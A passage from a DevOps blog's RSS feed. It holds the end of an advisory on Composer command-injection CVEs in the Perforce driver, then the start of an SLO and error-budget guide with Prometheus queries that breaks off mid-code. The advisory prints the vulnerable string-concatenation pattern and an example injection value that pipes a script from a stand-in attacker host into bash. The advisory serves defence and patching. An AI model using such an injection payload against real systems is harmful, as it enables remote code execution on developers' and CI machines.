          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-side-by-side"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><table>
<thead>
<tr>
<th></th>
<th>CVE-2026-40261</th>
<th>CVE-2026-40176</th>
</tr>
</thead>
<tbody><tr>
<td>CVSS</td>
<td>8.8</td>
<td>7.8</td>
</tr>
<tr>
<td>Attack vector</td>
<td>Network (package metadata)</td>
<td>Local (root composer.json)</td>
</tr>
<tr>
<td>Supply chain risk</td>
<td>High</td>
<td>Low</td>
</tr>
<tr>
<td>Exploitable via dependencies</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>Requires Perforce</td>
<td>No</td>
<td>No</td>
</tr>
</tbody></table>
<h2 id="h2-how-the-injection-works" class="group relative scroll-mt-24">
        <a href="#h2-how-the-injection-works" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How the injection works
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-the-injection-works"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Composer&#39;s Perforce driver built shell commands by string concatenation:</p>
<pre><code class="hljs language-php"><span class="hljs-comment">// Simplified example of the vulnerable pattern</span>
<span class="hljs-variable">$command</span> = <span class="hljs-string">&#x27;p4 -p &#x27;</span> . <span class="hljs-variable language_">$this</span>-&gt;<span class="hljs-title function_ invoke__">getP4Port</span>() . <span class="hljs-string">&#x27; -u &#x27;</span> . <span class="hljs-variable language_">$this</span>-&gt;<span class="hljs-title function_ invoke__">getUser</span>() . <span class="hljs-string">&#x27; sync &#x27;</span> . <span class="hljs-variable">$sourceRef</span>;
</code></pre><p>A malicious source reference like:</p>
<pre><code>; curl attacker.com/shell.sh | bash ;
</code></pre><p>gets concatenated directly into the command string and executed by the shell. The fix uses <code>ProcessExecutor::escape()</code> and array-based command construction instead of string interpolation.</p>
<h2 id="h2-what-packagist-did" class="group relative scroll-mt-24">
        <a href="#h2-what-packagist-did" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Packagist did
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-packagist-did"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Packagist acted before the public disclosure. On April 10 - four days before the CVEs were published - they disabled Perforce source metadata across Packagist.org and Private Packagist. This means the supply chain vector (CVE-2026-40261) is blocked for packages served through Packagist, even if you haven&#39;t upgraded Composer yet.</p>
<p>If you run a self-hosted Composer repository (Satis, Private Packagist Self-Hosted, or anything custom), that protection doesn&#39;t apply to you. Upgrade Composer.</p>
<h2 id="h2-whos-affected" class="group relative scroll-mt-24">
        <a href="#h2-whos-affected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Who's affected
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-whos-affected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>You&#39;re affected if you run Composer 2.x before 2.9.6 (or before 2.2.27 on the LTS branch). That&#39;s basically everyone.</p>
<p>You&#39;re at higher risk if:</p>
<ul>
<li>You install packages from source (<code>--prefer-source</code> or dev dependencies)</li>
<li>You use third-party or self-hosted Composer repositories</li>
<li>You run <code>composer install</code> on untrusted projects (open source contributions, code review)</li>
<li>Your CI/CD pipeline runs Composer without pinned versions</li>
</ul>
<p>You&#39;re at lower risk if you only install from Packagist with <code>--prefer-dist</code> (the default), since Packagist disabled Perforce metadata. But &quot;lower risk&quot; isn&#39;t &quot;no risk&quot; - upgrade anyway.</p>
<h2 id="h2-what-to-do" class="group relative scroll-mt-24">
        <a href="#h2-what-to-do" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to do
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-do"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Upgrade Composer immediately:</strong></p>
<pre><code class="hljs language-bash">composer self-update
</code></pre><p>This gets you 2.9.6 on mainline. If you&#39;re on the 2.2 LTS branch:</p>
<pre><code class="hljs language-bash">composer self-update --2.2
</code></pre><p><strong>Check your version:</strong></p>
<pre><code class="hljs language-bash">composer --version
<span class="hljs-comment"># Should show 2.9.6 or 2.2.27+</span>
</code></pre><p><strong>In CI/CD pipelines</strong>, update your Composer installation step. If you use Docker images with pre-installed Composer, rebuild them. If you use <code>composer/composer</code> Docker images, pull the latest tag.</p>
<p><strong>If you can&#39;t upgrade right now</strong>, these workarounds reduce exposure:</p>
<ul>
<li>Use <code>--prefer-dist</code> for all installs (avoids source checkout entirely)</li>
<li>Add <code>&quot;preferred-install&quot;: &quot;dist&quot;</code> to your <code>composer.json</code> config section</li>
<li>Only install from trusted repositories</li>
<li>Don&#39;t run Composer on untrusted projects</li>
</ul>
<h2 id="h2-the-pattern-keeps-repeating" class="group relative scroll-mt-24">
        <a href="#h2-the-pattern-keeps-repeating" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The pattern keeps repeating
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-pattern-keeps-repeating"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This isn&#39;t the first time Composer&#39;s VCS drivers have had command injection issues:</p>
<ul>
<li><strong>CVE-2021-29472</strong>: Command injection via Mercurial <code>--config</code> option</li>
<li><strong>CVE-2022-24828</strong>: Command injection via malicious git/hg branch names</li>
<li><strong>CVE-2024-35241</strong>: Command injection via malicious git branch names (found during a Cure53 audit)</li>
</ul>
<p>Every few years, a new VCS driver method is found that concatenates user input into shell commands. The Perforce driver was the last one that hadn&#39;t been hardened.</p>
<p>The good news: the Composer 2.9.6 release also includes hardened input validation for git, hg, and fossil identifiers, blocking branch names that start with <code>-</code> (which could be interpreted as command-line flags). This suggests the maintainers did a broader pass this time, not just a point fix.</p>
<h2 id="h2-bottom-line" class="group relative scroll-mt-24">
        <a href="#h2-bottom-line" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Bottom line
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-bottom-line"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you use PHP and Composer, run <code>composer self-update</code> today. Neither vulnerability has been exploited in the wild (according to Packagist), and Packagist&#39;s proactive metadata removal limits the supply chain risk. But the fix is one command. Don&#39;t wait.</p>
<p><strong>References:</strong></p>
<ul>
<li><a href="https://github.com/composer/composer/security/advisories/GHSA-gqw4-4w2p-838q">CVE-2026-40261 - GitHub Advisory (GHSA-gqw4-4w2p-838q)</a></li>
<li><a href="https://github.com/composer/composer/security/advisories/GHSA-wg36-wvj6-r67p">CVE-2026-40176 - GitHub Advisory (GHSA-wg36-wvj6-r67p)</a></li>
<li><a href="https://github.com/composer/composer/releases/tag/2.9.6">Composer 2.9.6 Release Notes</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[SLOs, SLIs, and Error Budgets: A Practical Implementation Guide]]></title>
      <link>https://devops-daily.com/posts/slos-slis-error-budgets-practical-guide</link>
      <description><![CDATA[Your service went down at 2 AM and nobody could agree on whether it was "bad enough" to page someone. SLOs, SLIs, and error budgets fix that. Here is how to define, measure, and act on them with real Prometheus queries and alerting rules.]]></description>
      <pubDate>Mon, 13 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/slos-slis-error-budgets-practical-guide</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[sre]]></category><category><![CDATA[slos]]></category><category><![CDATA[slis]]></category><category><![CDATA[error-budgets]]></category><category><![CDATA[monitoring]]></category><category><![CDATA[observability]]></category><category><![CDATA[devops]]></category><category><![CDATA[prometheus]]></category>
      <content:encoded><![CDATA[<p>Your checkout service threw 500 errors for 12 minutes last Tuesday. The on-call engineer fixed it, wrote a short postmortem, and moved on. Then it happened again on Thursday, for 8 minutes this time. Product asked: &quot;Is this normal? Should we stop shipping features until it&#39;s fixed?&quot; Nobody had a good answer because there was no agreed-upon definition of &quot;reliable enough.&quot;</p>
<p>That is the problem SLOs, SLIs, and error budgets solve. They give your team a shared, measurable contract for reliability so you can stop arguing about feelings and start making decisions with data.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>SLIs</strong> (Service Level Indicators) are the metrics you measure, like request success rate or latency at the 99th percentile. <strong>SLOs</strong> (Service Level Objectives) are the targets you set for those metrics, like &quot;99.9% of requests succeed over a 30-day window.&quot; <strong>Error budgets</strong> are the math that falls out: if your SLO is 99.9%, you have a 0.1% error budget, which means you can afford about 43 minutes of downtime per month. When the budget runs low, you slow down feature work and fix reliability. When there is plenty of budget left, you ship faster.</p>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A running service that handles HTTP or gRPC traffic</li>
<li>Prometheus and Grafana (or a similar metrics and dashboards setup)</li>
<li>Basic familiarity with PromQL queries</li>
<li>Access to your alerting system (Alertmanager, PagerDuty, or similar)</li>
</ul>
<h2 id="h2-what-makes-a-good-sli" class="group relative scroll-mt-24">
        <a href="#h2-what-makes-a-good-sli" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Makes a Good SLI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-makes-a-good-sli"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>An SLI is a measurement of your service&#39;s behavior from the user&#39;s point of view. The key word there is &quot;user.&quot; CPU usage is not an SLI. Disk space is not an SLI. Those are infrastructure metrics. They matter, but they do not directly tell you whether users are happy.</p>
<p>Good SLIs fall into a few categories:</p>
<ul>
<li><strong>Availability</strong>: Did the request succeed? (HTTP 5xx vs total requests)</li>
<li><strong>Latency</strong>: Was the response fast enough? (P99 under a threshold)</li>
<li><strong>Correctness</strong>: Did the response contain the right data?</li>
<li><strong>Freshness</strong>: Is the data recent enough? (For async pipelines)</li>
</ul>
<p>For most web services, start with two SLIs: availability and latency. You can add more later.</p>
<p>Here is how to instrument a service with Prometheus to track both:</p>
<pre><code class="hljs language-python"><span class="hljs-keyword">from</span> prometheus_client <span class="hljs-keyword">import</span> Counter, Histogram

<span class="hljs-comment"># Count all requests and errors</span>
REQUEST_COUNT = Counter(
    <span class="hljs-string">&#x27;http_requests_total&#x27;</span>,
    <span class="hljs-string">&#x27;Total HTTP requests&#x27;</span>,
    [<span class="hljs-string">&#x27;method&#x27;</span>, <span class="hljs-string">&#x27;endpoint&#x27;</span>, <span class="hljs-string">&#x27;status&#x27;</span>]
)

<span class="hljs-comment"># Track latency with histogram buckets</span>
REQUEST_LATENCY = Histogram(
    <span class="hljs-string">&#x27;http_request_duration_seconds&#x27;</span>,
    <span class="hljs-string">&#x27;HTTP request latency in seconds&#x27;</span>,
    [<span class="hljs-string">&#x27;method&#x27;</span>, <span class="hljs-string">&#x27;endpoint&#x27;</span>],
    buckets=[<span class="hljs-number">0.01</span>, <span class="hljs-number">0.025</span>, <span class="hljs-number">0.05</span>, <span class="hljs-number">0.1</span>, <span class="hljs-number">0.25</span>, <span class="hljs-number">0.5</span>, <span class="hljs-number">1.0</span>, <span class="hljs-number">2.5</span>]
)
</code></pre><p>Every request increments the counter with its status code, and the histogram records how long it took. These two metrics give you everything you need for availability and latency SLIs.</p>
<h2 id="h2-setting-your-first-slo" class="group relative scroll-mt-24">
        <a href="#h2-setting-your-first-slo" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Setting Your First SLO
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-setting-your-first-slo"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>An SLO is a target for your SLI, measured over a time window. It answers: &quot;How reliable do we promise to be?&quot;</p>
<p>Do not start at 99.99%. That sounds great on paper, but it means you can only have about 4 minutes of errors per month. Unless you are running payment infrastructure or a medical system, that target will paralyze your team.</p>
<p>Start here instead:</p>
<pre><code class="hljs language-text">Service: checkout-api
SLO Window: 30 days (rolling)

Availability SLO:
  SLI: Proportion of non-5xx responses
  Target: 99.9%
  Allowed errors: ~43 minutes/month

Latency SLO:
  SLI: Proportion of requests faster than 300ms
  Target: 99.0%
  Allowed slow requests: ~432 minutes/month
</code></pre><p>Why 99.9% for availability and 99.0% for latency? Because availability failures (errors) hurt more than slow responses. A 500 error means the user gets nothing. A slow response is annoying but usually still works.</p>
<p>Here is what different availability targets actually mean in practice:</p>
<pre><code class="hljs language-text">SLO Target   | Monthly Error Budget  | Roughly
-------------|----------------------|------------------
99%          | 7.3 hours            | One bad afternoon
99.5%        | 3.6 hours            | A couple incidents
99.9%        | 43.8 minutes         | One short outage
99.95%       | 21.9 minutes         | Half an incident
99.99%       | 4.3 minutes          | Barely any room
</code></pre><p>Pick a target that matches how your users actually experience your service. If your service already runs at 99.95% without trying, do not set a 99.99% SLO just because you can. Set it at 99.9% and use the extra budget to ship features faster.</p>
<h2 id="h2-calculating-error-budgets-with-prometheus" class="group relative scroll-mt-24">
        <a href="#h2-calculating-error-budgets-with-prometheus" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Calculating Error Budgets with Prometheus
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-calculating-error-budgets-with-prometheus"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The error budget is the gap between perfect (100%) and your SLO target. If your SLO is 99.9%, your error budget is 0.1% of all requests in the window.</p>
<p>Here is the PromQL query to calculate your remaining error budget over a 30-day rolling window:</p>
<pre><code class="hljs language-promql"># Availability: ratio of successful requests over 30 days
(
  sum(rate(http_requests_total{status!~&quot;5..&quot;}[30d]))
  /
  sum(rate(http_requests_total[30d]))
)
</code></pre><p>This gives you a number like 0.9994, meaning 99.94% of requests succeeded. If your SLO is 99.9% (0.999), you have used some budget but still have room.</p>
<p>To see how much budget remains as a percentage:</p>
<pre><code class="hljs language-promql"># Error budget remaining (1.0 = full budget, 0.0 = exhausted)
(
  (
    sum(rate(http_requests_total{status!~&quot;5..&quot;}[30d]))
    /
    sum(rate(http_requests_total[30d]))
  ) - 0.999
) / (1 - 0.999)
</code></pre><p>If this returns 0.4, you have used 60% of your error budget. If it hits 0 or goes negative, your budget is gone.</p>
<p>For latency, the query is similar but uses histogram buckets:</p>
<pre><code class="hljs language-promql"># Latency SLI: proportion of requests under 300ms
(
  sum(rate(http_request_duration_seconds_bucket{le=&quot;0.3&quot;}[30d]))
  /
  sum(rate(http_request_duration_seconds_count[30d]))
)
</code></pre><h2 id="h2-building-an-slo-dashboard-in-grafana" class="group relative scroll-mt-24">
        <a href="#h2-building-an-slo-dashboard-in-grafana" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Building an SLO Dashboard in Grafana
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-building-an-slo-dashboard-in-grafana"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A good SLO dashboard answers three questions at a glance: Are we meeting the SLO right now? How much error budget is left? Are we burning budget faster than expected?</p>
<p>Here is a Grafana dashboard definition you can import:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;panels&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;title&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Availability SLI (30d rolling)&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;gauge&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;targets&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;expr&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;sum(rate(http_requests_total{status!~\&quot;5..\&quot;}[30d])) / sum(rate(http_requests_total[30d]))&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;legendFormat&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Availability&quot;</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;fieldConfig&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;defaults&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;thresholds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;steps&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
              <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;color&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;red&quot;</span> <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
              <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0.999</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;color&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;yellow&quot;</span> <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
              <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0.9995</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;color&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;green&quot;</span> <span class="hljs-punctuation">}</span>
            <span class="hljs-punctuation">]</span>
          <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;unit&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;percentunit&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;min&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0.99</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;max&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1</span>
        <span class="hljs-punctuation">}</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;title&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Error Budget Remaining&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;stat&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;targets&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;expr&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;((sum(rate(http_requests_total{status!~\&quot;5..\&quot;}[30d])) / sum(rate(http_requests_total[30d]))) - 0.999) / (1 - 0.999) * 100&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;legendFormat&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Budget %&quot;</span>
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;fieldConfig&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;defaults&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;unit&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;percent&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;thresholds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;steps&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
              <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">0</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;color&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;red&quot;</span> <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
              <span class="hljs-punctuation">{</span> <span class="hljs-attr">&quot;value&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">25</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;color&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;orange&quot;</span> <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
